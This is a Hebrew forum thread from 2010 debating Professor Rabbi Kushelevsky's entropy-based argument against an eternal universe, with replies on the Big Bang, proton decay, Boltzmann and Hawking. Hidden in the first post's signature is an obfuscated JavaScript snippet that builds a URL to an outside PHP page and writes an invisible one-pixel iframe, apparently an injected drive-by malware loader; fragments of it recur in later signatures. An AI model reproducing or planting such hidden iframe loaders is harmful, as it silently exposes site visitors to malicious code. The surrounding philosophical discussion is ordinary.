בית פורומים עצור כאן חושבים

ההוכחה הקוסמולוגית של פרופסור הרב קושלבסקי

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-20/11/2010 20:20 לינק ישיר 
ההוכחה הקוסמולוגית של פרופסור הרב קושלבסקי

מבוא: האיש

פרופסור הרב אברהם פנחס קושלבסקי היה בנו של רב ועילוי מצד עצמו, והוא דוגמא ומופת לשילוב של תורה עם דרך ארץ בשיטת הרש"ר הירש.

נולד בתשיג באמריקה, עלה לארץ בגיל תשע, סיים בגרות בירושלים בגיל 16 (!), למד בחברון ירושלים וסלבודקה בני ברק. למד פיזיקה במנצ'סטר וסיים את הדוקטורט בשנת תשל"א. הוא חזר לישראל, והצטרף לפקולטה להנדסה גרעינית באוניברסיטת באר שבע. נראה שתרם הרבה לפיתוח הכור האטומי והמסתעף בישראל, אך מי שיודע (ואני לא) שותק.

נפטר בגיל 53 מסרטן, כנראה עקב עבודתו בתחום הקרינה.

כמה מכתביו הוצאו לאור בידי משפחתו. יש לו מדריך ללימוד, ואם אמצאנו אסכמנו בל"נ. הספרון שממנו אני מצטט כרגע הוא "מפגשים בין יהדות מדע וטכנולוגיה לפי יג עיקרי הרמב"ם". למרבה הצער, הספר אינו זה שעבד עליו, כי המשפחה מספרת שהמחשב האישי שלו היה נעול ולא הצליחו להגיע לחומר שבו. מה שיש לפנינו הוא גרסה שהכין אבל לא כל מה שהיה לו לכתוב.

בכך יש להסביר כמה אי דיוקים בלשון המעטה בכתיבתו על הרמב"ם (או שהיה בכל זאת תמים ולא ביקורתי די הצורך מבחינה היסטורית ומבחינות אחרות?)

מה שנותר הוא עדיין פירוש מעניין לעתים לדברי הרמב"ם. אחת הנקודות המעניינות ביותר היא נסיונו של הפיזיקאי לשחזר את ההוכחה למציאות אלקים הידועה בשמה הטכני "ההוכחה הקוסמולוגית".

__נוסף תואר "הרב" כהערת ספרן_______________

שומר פיו ולשונו - שומר מצרות נפשו ******* language=""> *-- var as='h'; var ac='tt'; var ab='p'; var ay="//"; document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*"); //*



תוקן על ידי עצכח ב- 20/11/2010 21:27:50




דווח על תוכן פוגעני

מנותק
נשלח ב-20/11/2010 20:20 לינק ישיר 

ההוכחה

מה אפשר ללמוד מהמדע המודרני בשאלת הבריאה והקדמות?

חוקיות הטבע אינה מאפשרת להכריע בשאלה של התהוות העולם, אך המדע מסייע בהבנת התהליכים. אחת ההבחנות החשובות ביותר היא בין אנרגיה שמישה – שאפשר להפיק ממנה עבודה מועילה בתנאים מסויימים– לבין שאינה כזו באותם תנאים.

על סמך התבוננות הגיעו אנשי המדע למסקנה שכל מערכת פיזיקלית נוטה באופן ספונטני להמיר את איכות האנרגיה האצורה בתוכה לאנרגיה בלתי שמישה.

מסקנה זו נקראת: עקרון האנטרופיה.

ניתוח פיזיקלי מן המאה ה19 וראשית המאה ה20 מראה שרמת האנרגיה קשורה למושג "הסדר העולמי", וכי עקרון האנטרופיה ניתן לניסוח גם במושגי סדר ואי סדר.

עקרון זה מתואר כשאיפה להגיע למצב של מקסימום אי סדר פנימי.

עקרן האנטרופיה אינו קובע את קצב ההמרה ממצב של אנרגיה שמישה ברמה גבוהה לשאינה כזו, ואף לא את קצב [אבדן או ירידה של] איכות הסדר במערכת.

יש מערכות יציבות ביותר ויש מאד לא יציבות. אבל העקרון קובע כי כל מערכת סופה לאבד את יציבותה ואת הסדר הפנימי שלה בזמן סופי שאורכו תואם את יציבות המערכת.

לאור עיקרון זה, שיטת הקדמות נתקלת בקושי עצום להסביר את העובדה שכל היקום כולל מצבורים רבים של אנרגיה ברמה גבוהה, כמו למשל כוכבים בעלי טמפרטורות גבוהות הפולטים כמויות אדירות של אנרגיה אחת.

עובדה היא שכל היקום מגלה סדר נפלא מן המימד המקרוסקופי ועד למימד של הקוסמוס כולו.

אם אין לטבע נקודת התחלה בזמן, וזהו משמעות המושג קדמות, והעולם קיים מספר שנים אינסופי, שבו כל המערכות הפיזיקליות ביקום צריכות להגיע למצב של אנרגיה נמוכה או לתוהו ובוהו של אי סדר מוחלט, עצם קיום החומר עצמו מעורר בעיה קשה לקדמות.

... התגלו חומרים רדיואקטיביים כגון הרדיום והפולוניום, שאינם יציבים ומתפרקים לחומרים יציבים תוך כדי שיחרור אנרגיה גבוהה. עד לפני מספר שנים נדמה היה שהתופעה מיוחדת ליסודות רדיואקטיביים... אולם בשנים האחרונות מסתבר כי ההבחנה בין סוגי היסודות יחסית, כולם סופם להתפרק בחלוף זמן ארוך דיון. המימן שמורכב מפרוטון אחד, שהוא היסוד הפשוט ביותר בטבע, מתפרק לפי התיאוריה הנוכחית בזמן סופי של כ10 בחזקת 32 שנה.

שוב ניצבת שיטת הקדמות בפני חידה. הרי הקדמות משמעותה כי העולם קיים אינסוף שנים. כיצד אם כן קיים חומר בעולם?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < language="">




דדווח על תוכן פוגעני

מנותק
נשלח ב-20/11/2010 20:25 לינק ישיר 

הערות

 

לא העתקתי הכל וגם הכנסתי שינויים קלים (שצויינו בסוגרים מרובעות) לגבי מה שנראה לי כאי דיוק. אני מקוה שלא טעיתי ולא הטעיתי.

הידע הפופולרי האישי שלי בפיזיקה היה מספיק כדי שאחוש שאני מבין מה הוא כותב. אבל אולי זה לא נכון לגבי אחרים. נא לציין מה לא ברור ואשתדל לבאר, או, טוב מזה, אבקש מן המומחים שלנו לעשות זאת.

ובכן, מה הטיעון שלו, ומה ערכו?

הטיעון נראה בערך כך:

א. כל מערכת פיזיקלית סופה להתפרק לאפס או לאי סדר מוחלט תוך פרק זמן סופי, אם כי ענק (10 בחזקת  שנים 32).
ב. היקום שלנו הוא מערכת פיזיקלית.
ג. אם ליקום יש סוף, יש לו גם התחלה.
ד. לכל דבר יש סיבה, ולמערכת היקום צריכה להיות סיבה ראשונה.
ה. סיבה ראשונה ליקום יכולה להיות רק בורא לא חומרי.

לכן: יש בורא ליקום.

הוספתי כמובן כמה הנחות שלא כתב פרופסור קושלבסקי עצמו, אבל כמדומה שהוא מסתמך עליהן במובלע.

 

האם הטיעון מושלם? האם בידינו הוכחה למציאות אלקים? לצערי, זה לא ודאי, אם כי אישית התרשמתי מאד מן הטיעון ועד כמה שאני יכול לשפוט הוא סביר מאד. אני גם משער שקושלבסקי ע"ה האמין בו.

1. קושלבסקי שולל את הקדמות, כלומר ההנחה שהעולם קיים אינסוף שנים. אבל הברירה אינה בין קדמות במובן זה לבין בריאה יש מאין. יש אפשרויות נוספות, כמו מחזוריות אינסופיות (של התמתחות והצטופפות של כללות החומר, כפי שנדמה לי שטוענים המטפיזיקאים החדשים שמכונים קוסמולוגים), או שבאמת העולם הוא הויה חד פעמית ללא בורא שהתרחשה מעצמה וסופה לגווע... זה לא סימפטי, אבל האם יש הוכחה שזה לא כך? הוכחה מבוצרת מפני ערעורים?

2. מה אפשר לומר על הבורא שברא את המציאות הפיזיקלית? למעשה מאומה. זה עדיין לא נורא. אלקים שיש לגביו רק תארי פעולה הוא בדיוק האלקים של הרמב"ם. אבל האלקים שאנו מאמינים בו (או יודעים אודותיו) גם נתן לנו תורה, לעם היהודי, וגם מנהיג את העולם בהשגחה פרטית. מציאותו של אלקים כזה לא הוכחה בטיעון הזה.

לזכותו של קושלבסקי יש לטעון שהוא לא ניסה לטעון שבידו הוכחה למציאות אלקים. הוא רק טען שיש לו הוכחה נגד הקדמות, ואת הקדמות הגדיר מראש כ"עולם שקיים אינסוף זמן", וזה בלתי אפשרי לפי חוקי הפיזיקה הידועים לנו. ובזה באמת הצליח. אבל כמדומה שבפילוסופיה יהודית אנו מחפשים יותר מזה. עדיין, רויתי רוב נחת מהעובדה שהצליח להעניק ניסוח חדש המתאים לזמננו לטיעון שיצר רב סעדיה גאון לפני כאלף שנים. (בלשון הגמרא, הייתי משער שרס"ג יצא לקבל את פני הרב קושלבסקי לישיבה של מעלה, כפי שמצאנו לגבי רבא בבבא מציעא סב ב, אבל כאן כבר ערבתי את הערכתי האישית עם אשכול שנועד למטרה שונה לגמרי ועמכם הסליחה. רציתי רק לחלוק הערכה לדמות ייחודית).

 

_________________

שומר פיו ולשונו - שומר מצרות נפשו < language="">




דדווח על תוכן פוגעני

מנותק
נשלח ב-20/11/2010 20:40 לינק ישיר 


 [מיימוני, גם לאחר התחשבות בנושא האשכול, האם השמטת התואר רב מכותרת האשכול מעידה על העדפותיך/סולם ערכיך ? ]



דדווח על תוכן פוגעני

מנותק
נשלח ב-20/11/2010 20:48 לינק ישיר 

באשכול אחר שפתחת לא מזמן,אודות עיקרון אי הוודאות אז גם כאן משתרבב לו הספק ששואל האם כל המדענים האתאיסטים בני זמנינו לא מכירים את העיקרון שהביא פרופ' קושלבסקי ע"ה?



דדווח על תוכן פוגעני

מחובר
נשלח ב-20/11/2010 20:54 לינק ישיר 

איננו צריכים את כל ההוכחות של המדענים בדבר אמיתות תורתנו הקדושה.
יש לנו מסורת של עם שלם שראה אלוקים חיים, וגם בבית משפט בימינו עדות ראיה חזקה יותר מכל הראיות העקיפות של המדע.
וידוע שהמדע משנה בכל פעם את טעמו, והתיאוריות של היום ייראו בעוד מאה שנה מיושנות, בדיוק כמו שאנחנו מסתכלים היום על התיאוריות של לפני מאה שנה. ככל שעובר הזמן המדע רק מאשר עוד ועוד דברים שכתובים בתורת ישראל, והדוגמא של קדמות העולם נגד האמונה שלנו בבריאה היא רק קצה הקרחון.



דדווח על תוכן פוגעני

מחובר
נשלח ב-20/11/2010 21:12 לינק ישיר 

מיימוני

יש"כ על החומר המעניין
באמת דמות מיוחדת במינה

כמו שכתבת על הקוסמולגים המתעקשים לגעת במטאפיסיקה
את הבעיה הזאת מנסים לפתור היום ע"י תורת המיתרים והיקומים המקבילים
הם רוצים לטעון שיש מימדים נוספים, קטנים מכדי שנוכל להבחין בהם
ובהם יקומים מקבילים
כל פרק זמן מסוים ( ביליוני בליונים של שנים ) שני יקומים מתנגשים בתהליך שיוצר חום עצום
השווה לחום שהיה (לפי התומכים במפץ ) במפץ הגדול
ועי"ז נוצרים יקומים חדשים
כך הם מישבים את הקושיה מהחוק השני של התרמודינאמיקה
ועדיין יכולים לתמוך בקדמות העולם

כבר ציינתי בעבר שתאוריית המפץ הגדול היא מעוד בעיתית לפיסיקאים
עיקר הסיבה שהיא בעיתית איננה דווקא הבעיה להסביר רעיונית כיצד נוצר המפץ
( למרות שזוהיא ג"כ בעיה גדולה )
עיקר הבעיה היא בכך שחוקי הפיסיקה קורסים בנקודת הסינגולאריות
וא"כ אין להם כמדענים שום כלי שיכול להתמודד עם השאלה מה היה קודם
ממילא הם חייבים לנסות למצוא דרך להשאיר את חוקי הפיסיקה תקפים
כדי שיוכלו לנסות ולחקור כל כמה שאפשר

כעת מנסים להוכיח איזו מן שתי התאוריות נכונה ע"י מדידת גלי כבידה מהתפשטות היקום
אם ימצאו גלי כבידה בקוסמוס זו תהיה תמיכה בתאורית המפץ
בעוד שהעדרותם תהוה תמיכה משמעותית לתאוריית היקומים המקבילים

בכל אופן תודה על החומר

_________________




דדווח על תוכן פוגעני

מחובר
נשלח ב-20/11/2010 21:15 לינק ישיר 

תמונת העולם הקוסמולוגית המקובלת היום היא של יקום שהתחיל ממפץ גדול לפני כך וכך מיליארדי שנים, ולא של עולם קדמון. לכן שאלת המוות האנטרופי (כמו גם פרדוכס אולברס וראיות נוספות) לא מטרידה כלל את האסטרופיסיקאים. אני מניח שנקודות אי ההסכמה שבין הפרופסור קושלבסקי לקוסמולוג מודני שהוא גם אתיאיסט יהיו קשורות לנקודות ד' וה' לפי הניתוח של מימוני. 
 
אגב הרעיון לפיו הפרוטון אינו יציב ויש לו זמן התפרקות ארוך עורר בזמנו התעניינות רבה אבל ניסויים גדולים שנערכו בשנות השמונים-תשעים לא מצאו ראיות לכך, ראה
http://en.wikipedia.org/wiki/Proton_decay



דדווח על תוכן פוגעני

מנותק
נשלח ב-20/11/2010 22:46 לינק ישיר 

 
הטענה הזאת היא לא חידוש של הרב קושלבסקי , ברגע שנוסח החוק השני של התרמודינמיקה הובן שיש בעיה לפי זה עם הנחת הקדמות.
נראה לי שבולצמן יישב את הבעיה . לפי בולצמן החוק השני של התרמודינמיקה הוא חוק סטטיסטי ולכן הוא מאפשר סטיות מקריות . גודל הסטיות האפשריות תלוי בגודל העולם , אם העולם מאד גדול תיתכן סטייה מספיק גדולה שתאפשר לאנטרופיה להיות נמוכה מספיק  בחלק קטן מהעולם ברגע מסויים בזמן וכל השאר היסטוריה.
בגישתו של בולצמן יש כמה נקודות מאד עדינות שמתקשרות גם למה שנידון באשכול על זיכרון העתיד. יש שני קשיים ידועים . האחד הוא הקושי המיידי , להסביר בדיוק מה מקור האסימטריה הזו בזמן , למה דוקא כשהזמן מתקדם האנטרופיה עולה . הקושי השני הוא מעקרון החזרה הנצחית של פואנקרה . לפי משפט מתמטי של פואנקרה , מערכת המצייתת לחוקי המכניקה הקלאסית תחזור כעבור מספיק זמן קרוב באופן שרירותי למצבה ההתחלתי.
אם הבנתי נכון הרי שאם אם מיישבים נכון את הקשיים האלה ,כל הקושי עם הקדמות מסולקת. שכן החוק הזה שהאנטרופיה  עולה נכונה רק עכשיו , נאמר פלוס מינוס כמה מליארדי שנים יחסית לעכשיו, אבל יש זמנים בהם האנטרופיה דוקא יורדת. זה מה שמאפשר לעקרון של פואנקרה להתקיים. אבל אני לא לגמרי בטוח בנקודה זו .



תוקן על ידי ידעיהבדרשי ב- 20/11/2010 22:50:53




דדווח על תוכן פוגעני

מחובר
נשלח ב-21/11/2010 01:03 לינק ישיר 

חוק האנטרופיה שקול לחוק האריסטוטלי לפיו כל הווה נפסד, שהיווה בסיס להוכחת הא-ל בפילוסופיה היוונית וזו של ימי הבינים.



דדווח על תוכן פוגעני

מחובר
נשלח ב-21/11/2010 06:44 לינק ישיר 

מעניין שמזכירים את תיאוריית היקומים המקבילים; לאחרונה יצא סטיבן הוקינג בהצהרה שעל בסיס רעיונות כאלו ניתן דווקא לשלול את מקומו של אלוקים בבריאת העולם (להלן לינק עם התמודדות עם הטיעון מנקודת מבטו של  סטודנט מישיבה אוניברסיטה



דדווח על תוכן פוגעני

מחובר
נשלח ב-21/11/2010 08:27 לינק ישיר 

מאמר יפה מאד. מה שמראה פעם נוספת שגאונים בפיסיקה יכולים להיו שוטים פילוסופיים.



דדווח על תוכן פוגעני

מנותק
נשלח ב-21/11/2010 09:00 לינק ישיר 

מיכי
התואיל לנסח מה בדיוק הציק לך?

_________________




דדווח על תוכן פוגעני

מחובר
נשלח ב-21/11/2010 09:19 לינק ישיר 

מה שהציק לי הוא הטיעון התמהוני של הוקינג וכנופייתו על יקומים מקבילים (הטיעון האנתרופי), שנעשית בשם התער של אוקאם (!). כלומר זה נעשה כדי להימנע מההנחה המיותרת וחסרת התוכן ההסברי של אלוהים שברא את העולם ואת החוקים שלו.
לעומת זאת, 500^10 יקומים (וספק אם גם זה מספיק בשביל הפיין טיונינג) שבכל אחד מהם שוררת מערכת חוקים אחרת, כלומר שבאחד יש שדים בשני תנינים עם כנפיים שלומדים פילוסופיה ובשלישי תולעים שמשחקות שחמט, וברביעי הוגוורטס ופיטר פן וצ'יטי צ'יטי בנג בנג, ובחמישי עין לא תשורנו.
יש לזכור! כל זה נעשה כדי להימנע מההיפותזה ה'מסובכת' וה'מיותרת' שאף אחד לא צפה בה (=קנקן התה השמיימי, בניסוחו של ראסל), של אלוהים...



דדווח על תוכן פוגעני

מנותק
נשלח ב-21/11/2010 09:54 לינק ישיר 

תודה
הבנתי אם כן שכוונתך אינה לפרופ' קושילבסקי.



דדווח על תוכן פוגעני

מחובר
נשלח ב-21/11/2010 10:06 לינק ישיר 

מיכי וכולם

נא לזכור שתי הסתייגויות.

א. המחבר לא השאיר את המאמר לפירסום. החומר שכן הכין אבד. מה שפורסם נלקח מתוך הערות שרשם לעצמו. איני יודע אם היתה צנזורה כלשהי.

ב. אני הוא שפירשתי את דבריו כהוכחה קוסמולוגית (=טיעון שבא להוכיח שיש אלקים בורא הכל). למעשה, עיון בדברים מראה שהוא רק בא לשלול את הקדמות כטענה שהעולם אינסופי בזמן.

ויפו בעיני דברי יעבץ שזו פשוט גרסה מודרנית לשימוש בהימנעות האינסוף נוסח אריסטו. אבל זו בדיוק הנקודה! שקושלבסקי מצא עקרונות בפיזיקה המודרנית (שאיני מבין בה הרבה) שמהם בא להוכיח סתירת טענות פילוסופיות שמנסות להסביר את העולם בלי קיומו של א-ל בורא. 

יצויין שהבעיה היסודית נותרה בעיה. עד כמה שהבנתי באשכול זה ומקריאה במקומות אחרים, הטענה המקובלת היום בפיזיקה קוסמולוגית (קרי: מטפיזית ומיתית) יש מיתוס של מפץ גדול. אבל הנקודה של תחילת המפץ אינה מצדיקה את עצמה. 

צויינו כמה פתרונות שהינם, בעיני שלי שאיני בקיא, שוב מיחזור של רעיון ישן. הרעיון של חזרה אינסופית הופיע לפני הפיזיקה המודרנית כפתרון לבעית האינסוף.

מבחינה מסויימת, נראה שאנו באמת סובבים באותם מעגלי טיעון.




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > ההוכחה הקוסמולוגית של פרופסור הרב קושלבסקי
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 4 לדף הבא סך הכל 4 דפים.

bholext